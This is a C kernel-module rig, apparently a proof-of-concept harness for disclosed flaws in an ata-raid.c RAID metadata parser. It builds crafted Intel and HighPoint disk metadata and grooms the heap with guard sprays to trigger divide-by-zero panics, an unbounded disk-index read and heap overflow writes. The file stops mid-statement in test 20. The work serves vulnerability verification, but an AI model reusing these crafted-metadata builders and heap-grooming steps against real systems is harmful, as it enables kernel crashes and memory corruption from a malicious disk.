DF-2497 / dfrig3_ata.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 | /* * dfrig3_ata.c -- DF-2496 / DF-2497 / DF-2498 verification rig * (sys/dev/disk/nata/ata-raid.c) * * The UNMODIFIED production file ata-raid.c is compiled into this KLD * (via #include, module plumbing neutralized) and its real code paths * are driven with crafted on-disk RAID metadata, exactly the way a * crafted disk plugged into an nata-controlled ATA channel would be * parsed at boot/attach. The ONLY interposed seam is * ata_queue_request() (defined after the #include so the production * ata-raid.o object binds to it): metadata READs are completed * synchronously out of dfrig_img[] instead of talking to hardware. * The parsers, the kmalloc()s, the geometry copies, the strategy loop * and the status math are 100% production code. * * Findings under test: * * DF-2496 divide-by-zero panics from crafted RAID geometry * (interleave == 0 in ata_raid_strategy RAID0/01 ata-raid.c:359, * total_sectors == 0 in ata_raid_status :1028, * heads*sectors == 0 in ata_raid_attach :181). * DF-2497 unbounded disk-index walk in the SPAN/JBOD strategy * (ata-raid.c:352-353: while (lba >= rdp->disks[drv].sectors) * lba -= rdp->disks[drv++].sectors; -- no bound vs * total_disks / MAX_DISKS / allocation size). * DF-2498 Intel MatrixRAID heap OOB via untrusted map->total_disks / * disk_idx (ata-raid.c:2165, 2230, 2243-2251). * * Tests (sysctl kern.dfrig3_ata_test=<n>, read kern.dfrig3_ata_status): * * NON-FATAL: * 12 DF-2496 setup: production Intel parse installs interleave=0 and * total_sectors=0 verbatim from crafted metadata (no validation). * 11 DF-2497 primary: production HPTv2 SPAN parse -> production * ata_raid_strategy() with blkno past the array end. The walk * climbs past rdp->total_disks and past disks[MAX_DISKS-1]; a * single harness stopper is planted at the disks[30].sectors * stride (IN-object, deterministic) so the walk terminates at a * VALID address; the shim then prints request->this (the drv the * production code reached) = 30 >= 16 = MAX_DISKS. * 13 DF-2497 past-allocation attempt: same but stopper at the * disks[60].sectors stride (PAST the ar_softc allocation, inside a * guard chunk if one covers the address). * 10 DF-2498 primary: production Intel parse with map->total_disks=60 * (>= MAX_ARRAYS disks) -> production loop writes raid->disks[disk] * for disk up to 59: disks[16..48] smash in-object fields * (toggle/rebuild_lba/lock/disk/devstat/cdev/pid), disks[49..59] * land past the allocation (guard-sandwich). Serial matches the * fake parent identify data so the array is RETAINED and can be * read back. * * FATAL (one per boot; proof = serial console panic): * 20 DF-2496 strategy: Intel parse stripe_sectors=0 -> production * ata_raid_strategy() -> blkno % 0 -> trap 0 divide error. * 21 DF-2496 status: Intel parse total_sectors=0 into the REAL kernel * ata_raid_arrays[0] -> real IOCATARAIDSTATUS ioctl from userland * (/root/dfrig3/atastat 0) -> 100*lba/0 -> trap 0. * 22 DF-2496 attach: rdp heads=0 sectors=63 -> production * ata_raid_attach() -> total/(heads*sectors) -> trap 0 at :181. * 23 DF-2498 wild read: Intel parse with disk_idx[]=0xffff -> * meta->disk[0xffff] read ~3.1MB past the 1536-byte metadata * object -> page fault in ata_raid_intel_read_meta. * * 99 cleanup: free witness/real-global array entries. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/bus.h> #include <sys/bus_private.h> /* struct bsd_device layout */ #include <sys/conf.h> /* struct cdev / si_drv1 */ #include <sys/bio.h> #include <sys/buf.h> #include <sys/device.h> /* struct dev_strategy_args */ #include <sys/nata.h> /* ------------------------------------------------------------------ */ /* neutralize the production file's module/driver plumbing so this KLD */ /* registers nothing that clashes with the built-in ataraid module */ /* ------------------------------------------------------------------ */ #undef DRIVER_MODULE #undef DECLARE_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, driver, devclass, evh, arg) /* rig */ #define DECLARE_MODULE(name, data, sub, order) /* rig */ #define MODULE_DEPEND(name, m, v1, v2, v3) /* rig */ #define MODULE_VERSION(m, v) /* rig */ #include "ata-raid.c" /* <-- UNMODIFIED production code */ #undef DRIVER_MODULE #undef DECLARE_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION /* ------------------------------------------------------------------ */ /* interposed I/O completion seam */ /* ------------------------------------------------------------------ */ static u_int8_t dfrig_img[1536]; /* crafted on-disk metadata image */ static int dfrig_armed; static int dfrig_strategy_seen; /* count of strategy dispatches */ static int dfrig_last_drv = -1; /* request->this of last dispatch */ static void *dfrig_last_dev; /* request->dev of last dispatch */ static struct ar_softc *dfrig_witness[64]; static struct lock dfrig_fake_state_mtx; void ata_queue_request(struct ata_request *request) { callout_init_lk(&request->callout, &dfrig_fake_state_mtx); if (request->flags & ATA_R_THREAD) { /* strategy dispatch from production ata_raid_send_request() */ dfrig_strategy_seen++; dfrig_last_drv = request->this; dfrig_last_dev = request->dev; kprintf("dfrig3: STRATEGY DISPATCH #%d: this(drv)=%d dev=%p " "lba=%ju bytecount=%u flags=%x\n", dfrig_strategy_seen, request->this, request->dev, (uintmax_t)request->u.ata.lba, request->bytecount, request->flags); request->result = 0; return; } if (dfrig_armed && (request->flags & ATA_R_READ) && request->bytecount <= sizeof(dfrig_img)) { bcopy(dfrig_img, request->data, request->bytecount); request->result = 0; } else { request->result = EIO; } } /* ------------------------------------------------------------------ */ /* fake device graph (exactly what nata hands the parsers) */ /* ------------------------------------------------------------------ */ static struct bsd_device fake_sub_dev; static struct bsd_device fake_ad_dev; static struct ata_raid_subdisk fake_ars; static struct ata_device fake_atadev; static struct ad_softc fake_adsc; static char fake_nameunit_ad[] = "fad0"; static char fake_nameunit_sub[] = "fad0-raid"; static void setup_fakes(void) { bzero(&fake_sub_dev, sizeof(fake_sub_dev)); bzero(&fake_ad_dev, sizeof(fake_ad_dev)); bzero(&fake_ars, sizeof(fake_ars)); bzero(&fake_atadev, sizeof(fake_atadev)); bzero(&fake_adsc, sizeof(fake_adsc)); fake_sub_dev.softc = &fake_ars; fake_sub_dev.parent = (device_t)&fake_ad_dev; fake_sub_dev.nameunit = fake_nameunit_sub; fake_sub_dev.unit = 0; fake_ad_dev.softc = &fake_atadev; /* ata_raid_rw: atadev->mode */ fake_ad_dev.ivars = &fake_adsc; /* *_LBA: ad_softc->total_secs */ fake_ad_dev.nameunit = fake_nameunit_ad; fake_ad_dev.unit = 5; fake_atadev.mode = ATA_DMA; fake_atadev.max_iosize = 131072; fake_adsc.total_secs = 100000; } /* set the fake parent's identify serial (what the Intel parser * serial-matches against); serial[0..15] = 0xD0..0xDF == crafted meta, * tail bytes < 0x20 so the match loop's length scan stops at 16 */ static void set_fake_serial_d0(void) { int i; for (i = 0; i < 20; i++) fake_atadev.param.serial[i] = (i < 16) ? (0xD0 + i) : 0x00; } /* ------------------------------------------------------------------ */ /* crafted metadata builders */ /* ------------------------------------------------------------------ */ /* * Final (post-parser-swap) Intel metadata layout is built in m[1536], * checksummed over m[0..1024), then stored into dfrig_img so that the * production half-swap (ata-raid.c:2139-2142) reconstructs it exactly: * the parser reads 1024 bytes to meta[0..1024) then does * bcopy(tmp, tmp+1024, 512); bcopy(tmp+512, tmp, 1024); bzero(tmp+1024,512) * i.e. final meta[0..512) = image[512..1024), final meta[512..1024) = * image[0..512). So image = halves swapped of the intended final meta. */ static void build_intel_meta(u_int phys_disks, /* meta->total_disks (T) */ u_int8_t map_type, u_int8_t map_total_disks, u_int16_t stripe_sectors, u_int64_t map_total_sectors, u_int disk_idx_val, /* fill for map->disk_idx[d] */ u_int disk_idx0) /* override for map->disk_idx[0] */ { static u_int8_t m[1536]; struct intel_raid_conf *c = (struct intel_raid_conf *)m; struct intel_raid_mapping *map; u_int32_t sum; int i, count; bzero(m, sizeof(m)); bcopy(INTEL_MAGIC, c->intel_id, strlen(INTEL_MAGIC)); bcopy("1.0.00", c->version, 6); c->config_size = 1024; c->config_id = 0xABCD1234; c->generation = 1; c->total_disks = phys_disks; c->total_volumes = 1; /* physical disk 0 descriptor (also the disk_idx[] target) */ for (i = 0; i < 16; i++) c->disk[0].serial[i] = 0xD0 + i; for (i = 0; i < 16; i++) c->disk[1].serial[i] = 0xE0 + i; c->disk[1].sectors = 0x00E0E0E0; c->disk[1].flags = INTEL_F_ONLINE; c->disk[0].sectors = 0x00C0FFEE; c->disk[0].id = 0x51510000; c->disk[0].flags = INTEL_F_ONLINE | INTEL_F_ASSIGNED; /* the volume mapping: &meta->disk[phys_disks] in final layout */ map = (struct intel_raid_mapping *)(m + __offsetof(struct intel_raid_conf, disk) + phys_disks * sizeof(c->disk[0])); bcopy("DF98VOLUME", map->name, 10); map->total_sectors = map_total_sectors; map->state = 0; map->offset = 0x1000; map->disk_sectors = 0x10000; map->stripe_count = 100; map->stripe_sectors = stripe_sectors; map->status = INTEL_S_READY; map->type = map_type; map->total_disks = map_total_disks; bcopy("IBM", map->magic, 3); for (i = 0; i < 256; i++) map->disk_idx[i] = disk_idx_val; /* region permitting */ map->disk_idx[0] = disk_idx0; /* checksum over final m[0..1024) with the checksum field zeroed */ sum = 0; for (count = 0; count < 1024 / sizeof(u_int32_t); count++) sum += ((u_int32_t *)m)[count]; c->checksum = sum; /* parser wants (sum_incl_C - C) == C */ /* store halves-swapped image; zero tail beyond 1024 */ bzero(dfrig_img, sizeof(dfrig_img)); bcopy(m + 512, dfrig_img + 0, 512); bcopy(m + 0, dfrig_img + 512, 512); } /* HighPoint v2 SPAN metadata, served raw (no swap in that parser) */ static void build_hptv2_span_meta(u_int8_t disk_number, u_int8_t array_width, u_int32_t total_sectors) { struct hptv2_raid_conf *h = (struct hptv2_raid_conf *)dfrig_img; bzero(dfrig_img, sizeof(dfrig_img)); h->magic = HPTV2_MAGIC_OK; h->magic_0 = 0x11112222; h->magic_1 = 0x33334444; h->order = 0; h->array_width = array_width; h->stripe_shift = 0; h->type = HPTV2_T_SPAN; h->disk_number = disk_number; h->total_sectors = total_sectors; bcopy("DFSPAN", h->name_1, 6); } /* ------------------------------------------------------------------ */ /* production-strategy invocation helper */ /* ------------------------------------------------------------------ */ static struct cdev fake_cdev; static struct bio fake_bio; static struct buf fake_bbuf; static char fake_databuf[512]; static int dfrig_bio_done_count; static int dfrig_bio_error; static void rig_bio_done(struct bio *bio) { dfrig_bio_done_count++; dfrig_bio_error = bio->bio_buf->b_error; kprintf("dfrig3: rig_bio_done #%d b_error=%d\n", dfrig_bio_done_count, dfrig_bio_error); } static int fire_strategy(struct ar_softc *rdp, u_int64_t blkno, int bcount) { struct dev_strategy_args args; bzero(&fake_cdev, sizeof(fake_cdev)); bzero(&fake_bio, sizeof(fake_bio)); bzero(&fake_bbuf, sizeof(fake_bbuf)); bzero(fake_databuf, sizeof(fake_databuf)); dfrig_bio_done_count = 0; dfrig_bio_error = -1; fake_cdev.si_drv1 = rdp; fake_bio.bio_buf = &fake_bbuf; fake_bio.bio_offset = (off_t)blkno * DEV_BSIZE; fake_bio.bio_done = rig_bio_done; fake_bbuf.b_cmd = BUF_CMD_READ; fake_bbuf.b_bcount = bcount; fake_bbuf.b_data = fake_databuf; fake_bbuf.b_resid = bcount; bzero(&args, sizeof(args)); args.a_head.a_dev = &fake_cdev; args.a_bio = &fake_bio; return ata_raid_strategy(&args); /* PRODUCTION */ } /* ------------------------------------------------------------------ */ /* status buffer plumbing */ /* ------------------------------------------------------------------ */ static char dfrig_status_buf[8192]; static int dfrig_last_rc; #define P(fmt, ...) \ ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \ sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \ fmt "\n", ## __VA_ARGS__) #define DISKS_OFF ((size_t)__offsetof(struct ar_softc, disks)) #define DISK_SECT_OFF(n) (DISKS_OFF + (n) * sizeof(struct ar_disk) + \ __offsetof(struct ar_disk, sectors)) /* ------------------------------------------------------------------ */ /* tests */ /* ------------------------------------------------------------------ */ /* --- test 12: DF-2496 setup -- geometry copied verbatim, no check --- */ static void dfrig_test12_geometry(void) { struct ar_softc *rdp; int rc; setup_fakes(); set_fake_serial_d0(); bzero(dfrig_witness, sizeof(dfrig_witness)); build_intel_meta(2, INTEL_T_RAID0, 2, 0 /* stripe_sectors=0 */, 0 /* total_sectors=0 */, 0, 0); dfrig_armed = 1; testing = 1; rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; testing = 0; rdp = dfrig_witness[0]; P("== DF-2496 test12: production Intel parse installs degenerate " "geometry verbatim =="); P("ata_raid_intel_read_meta() rc=%d raidp[0]=%p", rc, rdp); if (!rc || !rdp) { P("parse failed - cannot show geometry"); dfrig_last_rc = 0; return; } P("installed geometry (all copied verbatim from crafted metadata, " "never checked for zero):"); P(" rdp->type = 0x%x (AR_T_RAID0)", rdp->type); P(" rdp->status = 0x%x (AR_S_READY)", rdp->status); P(" rdp->interleave = %u <-- map->stripe_sectors = 0 " "(ata-raid.c:2229)", rdp->interleave); P(" rdp->total_sectors= %ju <-- map->total_sectors = 0 " "(ata-raid.c:2231)", (uintmax_t)rdp->total_sectors); P(" rdp->width = %u", rdp->width); P("these feed, unguarded:"); P(" ata-raid.c:359 chunk = blkno %% rdp->interleave " "(strategy RAID0/01)"); P(" ata-raid.c:1028 progress = 100*lba / rdp->total_sectors " "(ata_raid_status)"); P(" ata-raid.c:181 total_sectors/(heads*sectors) " "(ata_raid_attach)"); P("tests 20/21/22 fire those three sites (fatal, one per boot)."); dfrig_last_rc = (rdp->interleave == 0 && rdp->total_sectors == 0); kfree(rdp, M_AR); dfrig_witness[0] = NULL; } /* --- test 11: DF-2497 primary (deterministic in-object stop) -------- */ static void dfrig_test11_span_walk(void) { struct ar_softc *rdp; u_int64_t *stopper; int rc; setup_fakes(); bzero(dfrig_witness, sizeof(dfrig_witness)); build_hptv2_span_meta(1 /* disk_number */, 2 /* width */, 2000 /* total_sectors */); dfrig_armed = 1; testing = 1; rc = ata_raid_hptv2_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; testing = 0; rdp = dfrig_witness[0]; P("== DF-2497 test11: production HPTv2 SPAN parse + production " "ata_raid_strategy() walk past the array end =="); P("parse rc=%d raidp[0]=%p", rc, rdp); if (!rc || !rdp) { P("parse failed"); dfrig_last_rc = 0; return; } P("parse installed (verbatim from crafted metadata):"); P(" type=AR_T_SPAN total_disks=%u width=%u total_sectors=%ju", rdp->total_disks, rdp->width, (uintmax_t)rdp->total_sectors); P(" disks[0].sectors=%ju disks[1].sectors=%ju (total usable=%ju)", (uintmax_t)rdp->disks[0].sectors, (uintmax_t)rdp->disks[1].sectors, (uintmax_t)(rdp->disks[0].sectors + rdp->disks[1].sectors)); P(" sizeof(struct ar_softc)=%zu disks[] at +%.0zu " "disks[%d].sectors stride at +%.0zu", sizeof(struct ar_softc), DISKS_OFF, 30, DISK_SECT_OFF(30)); /* production attach (ata_raid_config_changed) marks the array READY; * mirror that state change (parse itself leaves status 0) */ rdp->status = AR_S_READY; /* * Harness stopper: the production walk reads .sectors at a 48-byte * stride; everything past disks[total_disks-1] is OOB for the array * (and past disks[15] OOB for MAX_DISKS). A fresh parse leaves all * of it zero, so the loop would keep climbing through kernel heap. * We plant ONE valid readable stopper at the disks[30] entry (both * .dev and .sectors, in-object: 30 < 49, mapped, deterministic) so * the walk terminates at drv=30 at a VALID address and the shim can * print the index the production code reached. drv=30 is already * 15 entries past MAX_DISKS and 28 past total_disks. */ *(u_int64_t *)((char *)rdp + DISKS_OFF + 30 * sizeof(struct ar_disk) + 0) = (u_int64_t)(uintptr_t)&fake_ad_dev; /* disks[30].dev */ stopper = (u_int64_t *)((char *)rdp + DISK_SECT_OFF(30)); *stopper = (u_int64_t)(uintptr_t)&fake_ad_dev; /* disks[30].sectors */ P("stopper planted at rdp+%.0zu (disks[30].sectors stride) = %llx " "(disks[30].dev same)", DISK_SECT_OFF(30), (unsigned long long)*stopper); P("firing production ata_raid_strategy(): blkno=5000 (past the " "%ju-sector array), count=1 ...", (uintmax_t)(rdp->disks[0].sectors + rdp->disks[1].sectors)); dfrig_strategy_seen = 0; dfrig_last_drv = -1; rc = fire_strategy(rdp, 5000, 512); P("strategy returned %d; dispatches=%d", rc, dfrig_strategy_seen); if (dfrig_strategy_seen) { P("PROOF: production strategy dispatched to disk index " "drv=this=%d (dev=%p read OOB at disks[%d]) -- " "total_disks=%u, MAX_DISKS=%d: the walk read %d entries " "past the configured disks and %d past disks[] bounds " "before the stopper (ata-raid.c:352-353 has no bound)", dfrig_last_drv, dfrig_last_dev, dfrig_last_drv, rdp->total_disks, MAX_DISKS, dfrig_last_drv - (int)rdp->total_disks + 1, dfrig_last_drv - MAX_DISKS + 1); dfrig_last_rc = (dfrig_last_drv >= MAX_DISKS); } else { P("no dispatch (walk terminated without I/O?)"); dfrig_last_rc = 0; } kfree(rdp, M_AR); dfrig_witness[0] = NULL; } /* --- test 13: DF-2497 past-the-allocation attempt -------------------- */ static void dfrig_test13_span_past_alloc(void) { struct ar_softc *rdp; void *guards[32]; u_int64_t *target; char *t; int i, rc; setup_fakes(); bzero(dfrig_witness, sizeof(dfrig_witness)); build_hptv2_span_meta(1, 2, 2000); dfrig_armed = 1; rc = ata_raid_hptv2_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; rdp = dfrig_witness[0]; P("== DF-2497 test13: walk stop at the disks[60].sectors stride " "(PAST the ar_softc allocation) =="); if (!rc || !rdp) { P("parse failed"); dfrig_last_rc = 0; return; } rdp->status = AR_S_READY; P("victim rdp=%p size=%zu; disks[60].sectors stride at rdp+%.0zu " "(%zu past the allocation end)", rdp, sizeof(struct ar_softc), DISK_SECT_OFF(60), DISK_SECT_OFF(60) + 8 - sizeof(struct ar_softc)); /* spray same-size-class guards AFTER the victim; fill every 8-byte * slot with a valid readable pointer (fake ad dev) so wherever the * walk lands it stops on a valid address */ for (i = 0; i < 32; i++) { guards[i] = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO); { u_int64_t *w = (u_int64_t *)guards[i]; int k; for (k = 0; k < (int)(sizeof(struct ar_softc) / 8); k++) w[k] = (u_int64_t)(uintptr_t)&fake_ad_dev; } } P("guards %p..%p (32 x %zu, uniformly filled with fake-ad-dev " "pointer)", guards[0], guards[31], sizeof(struct ar_softc)); /* if a guard covers the disks[60].sectors stride address, the walk * stops there deterministically; otherwise it stops somewhere in * the natural heap (or faults -- captured on serial) */ t = (char *)rdp + DISK_SECT_OFF(60); target = (u_int64_t *)t; P("stride address rdp+%.0zu = %p %s", DISK_SECT_OFF(60), t, (t >= (char *)guards[0] && t < (char *)guards[31] + sizeof(struct ar_softc)) ? "INSIDE guard range" : "outside guards (natural heap decides)"); dfrig_strategy_seen = 0; dfrig_last_drv = -1; rc = fire_strategy(rdp, 5000, 512); P("strategy returned %d; dispatches=%d", rc, dfrig_strategy_seen); if (dfrig_strategy_seen) { P("PROOF: walk reached disk index %d before dispatch " "(>= 49 means past the %zu-byte allocation): " "disks[%d].sectors is %zu bytes past the object", dfrig_last_drv, sizeof(struct ar_softc), dfrig_last_drv, DISK_SECT_OFF(dfrig_last_drv) + 8 > sizeof(struct ar_softc) ? DISK_SECT_OFF(dfrig_last_drv) + 8 - sizeof(struct ar_softc) : 0); dfrig_last_rc = (DISK_SECT_OFF(dfrig_last_drv) >= sizeof(struct ar_softc)); } else { P("no dispatch (stopped without reaching a stopper -- " "unexpected without a fault)"); dfrig_last_rc = 0; } /* the walk only READS the guards (no writes on this path), so * freeing them is safe */ for (i = 0; i < 32; i++) kfree(guards[i], M_AR); kfree(rdp, M_AR); dfrig_witness[0] = NULL; } /* --- test 10: DF-2498 primary -- OOB write raid->disks[16..59] ------- */ #define T10_GUARDS 64 static void dfrig_test10_intel_oob_write(void) { void *guards[T10_GUARDS]; struct ar_softc *rdp; char *p; int i, rc, smashed, changed; size_t off, k; u_int64_t *w; setup_fakes(); set_fake_serial_d0(); bzero(dfrig_witness, sizeof(dfrig_witness)); /* * Guard sandwich around the parse's own kmalloc(sizeof(ar_softc)): * fill T10_GUARDS same-size-class chunks with 0x11, free the middle * one, and let the PRODUCTION parse allocate its ar_softc into the * hole (LIFO free list). The OOB writes past the object then land * in the following 0x11-filled guard chunks. */ for (i = 0; i < T10_GUARDS; i++) { guards[i] = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO); memset(guards[i], 0x11, sizeof(struct ar_softc)); } kfree(guards[T10_GUARDS / 2], M_AR); guards[T10_GUARDS / 2] = NULL; /* map->total_disks=60: raid->total_disks=60 verbatim (:2230); * disks loop writes raid->disks[disk] for disk<60 (:2243-2263) -- * 44 entries past disks[MAX_DISKS-1], 11 past the allocation */ build_intel_meta(2, INTEL_T_RAID0, 60, 64, 0x1000000, 0, 0); dfrig_armed = 1; rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; rdp = dfrig_witness[0]; P("== DF-2498 test10: production Intel parse, map->total_disks=60 " "-> raid->disks[16..59] OOB writes =="); P("parse rc=%d raidp[0]=%p (retained: serial matched fake parent)", rc, rdp); P("sizeof(struct ar_softc)=%zu disks[] at +%.0zu entry size=%zu " "=> disks[49] starts at +%.0zu (first past the allocation)", sizeof(struct ar_softc), DISKS_OFF, sizeof(struct ar_disk), DISKS_OFF + 49 * sizeof(struct ar_disk)); for (i = 0; i < T10_GUARDS; i += 8) P("guard[%2d]=%p%s", i, guards[i], guards[i] ? "" : " (freed hole)"); if (!rc || !rdp) { P("parse failed"); dfrig_last_rc = 0; goto out; } P("victim lands %s the freed hole (guards[31]=%p guards[33]=%p)", ((char *)rdp >= (char *)guards[30] && (char *)rdp < (char *)guards[34]) ? "IN/NEAR" : "away from", guards[30], guards[34]); P("parse-installed array: total_disks=%u width=%u type=0x%x " "interleave=%u", rdp->total_disks, rdp->width, rdp->type, rdp->interleave); P("in-object smash readback (fields past disks[15] written by the " "disks[disk<60] loop):"); for (k = 16; k <= 48; k += 8) { w = (u_int64_t *)((char *)rdp + DISKS_OFF + k * sizeof(struct ar_disk)); P(" disks[%2zu] @rdp+%-5zu: dev=%016llx serial=%02x%02x%02x " "sectors=%llx flags=%x", k, DISKS_OFF + k * sizeof(struct ar_disk), (unsigned long long)w[0], ((unsigned char *)w)[8], ((unsigned char *)w)[9], ((unsigned char *)w)[10], (unsigned long long)*(u_int64_t *)((char *)w + 24), *(u_int *)(void *)((char *)w + 40)); } P(" (expected per disks[disk] write: dev=NULL, serial=D0..DF, " "sectors=0xC0FFEE, flags=0xa ONLINE|ASSIGNED)"); /* past-object raw readback */ p = (char *)rdp + sizeof(struct ar_softc); P("raw u64s at victim+%zu..+%zu (past the object):", sizeof(struct ar_softc), sizeof(struct ar_softc) + 64); for (off = 0; off < 64; off += 16) P(" +%.0zu: %016llx %016llx", sizeof(struct ar_softc) + off, *(unsigned long long *)(p + off), *(unsigned long long *)(p + off + 8)); smashed = 0; for (i = 0; i < T10_GUARDS; i++) { if (!guards[i]) continue; changed = 0; for (off = 0; off < sizeof(struct ar_softc); off++) if (((unsigned char *)guards[i])[off] != 0x11) changed++; if (changed) { smashed++; if (smashed <= 4) { w = (u_int64_t *)guards[i]; P("guard[%d] %p SMASHED (%d/%zu bytes): " "first words %llx %llx %llx %llx", i, guards[i], changed, sizeof(struct ar_softc), (unsigned long long)w[0], (unsigned long long)w[1], (unsigned long long)w[2], (unsigned long long)w[3]); } } } P("guard chunks hit by the overflow: %d/%d", smashed, T10_GUARDS); { int inobj = 0, pastobj = 0; u_int64_t x; /* deterministic in-object proof: disks[16] must contain the * crafted serial pattern (0xD0..), not zeros */ x = *(u_int64_t *)((char *)rdp + DISKS_OFF + 16 * sizeof(struct ar_disk) + 8); inobj = (((unsigned char *)&x)[0] == 0xD0 && ((unsigned char *)&x)[1] == 0xD1); P("in-object proof: disks[16].serial[0..1]=%02x%02x %s", ((unsigned char *)&x)[0], ((unsigned char *)&x)[1], inobj ? "== crafted D0 D1 -- OOB WRITE CONFIRMED" : "unexpected"); /* deterministic past-object proof: scan every byte range the * disks[disk<60] loop wrote BEYOND the 2424-byte object for * the crafted 0x00C0FFEE sector marker */ for (k = 49; k < 60; k++) { u_int64_t s = *(u_int64_t *)((char *)rdp + DISKS_OFF + k * sizeof(struct ar_disk) + __offsetof(struct ar_disk, sectors)); if (s == 0x00C0FFEE) pastobj++; } P("past-object proof: %d/11 entries disks[49..59] carry the " "crafted sectors marker 0xC0FFEE at rdp+%.0zu..+%.0zu " "(object ends at +%zu)", pastobj, DISKS_OFF + 49 * sizeof(struct ar_disk) + 24, DISKS_OFF + 60 * sizeof(struct ar_disk), sizeof(struct ar_softc)); dfrig_last_rc = inobj && (pastobj >= 1); P("PROOF: raid->disks[disk] loop wrote %d entries past " "disks[MAX_DISKS-1] in-object (%s) and %d/11 past the " "allocation (raw readback) via raid->total_disks=%u taken " "verbatim from map->total_disks (ata-raid.c:2230); the " "serial-match loop then wrote .dev/flags OOB for those same " "entries (ata-raid.c:2266-2283)", 60 - MAX_DISKS, inobj ? "confirmed" : "check", pastobj, rdp->total_disks); } out: if (rdp) kfree(rdp, M_AR); dfrig_witness[0] = NULL; for (i = 0; i < T10_GUARDS; i++) if (guards[i]) kfree(guards[i], M_AR); } /* --- test 20: DF-2496 fatal -- strategy interleave=0 ------------------ */ static void dfrig_test20_strategy_div0(void) { struct ar_softc *rdp; int rc; setup_fakes(); set_fake_serial_d0(); bzero(dfrig_witness, sizeof(dfrig_witness)); build_intel_meta(2, INTEL_T_RAID0, 2, 0 /* stripe_sectors=0 */, 0x1000000, 0, 0); dfrig_armed = 1; rc = 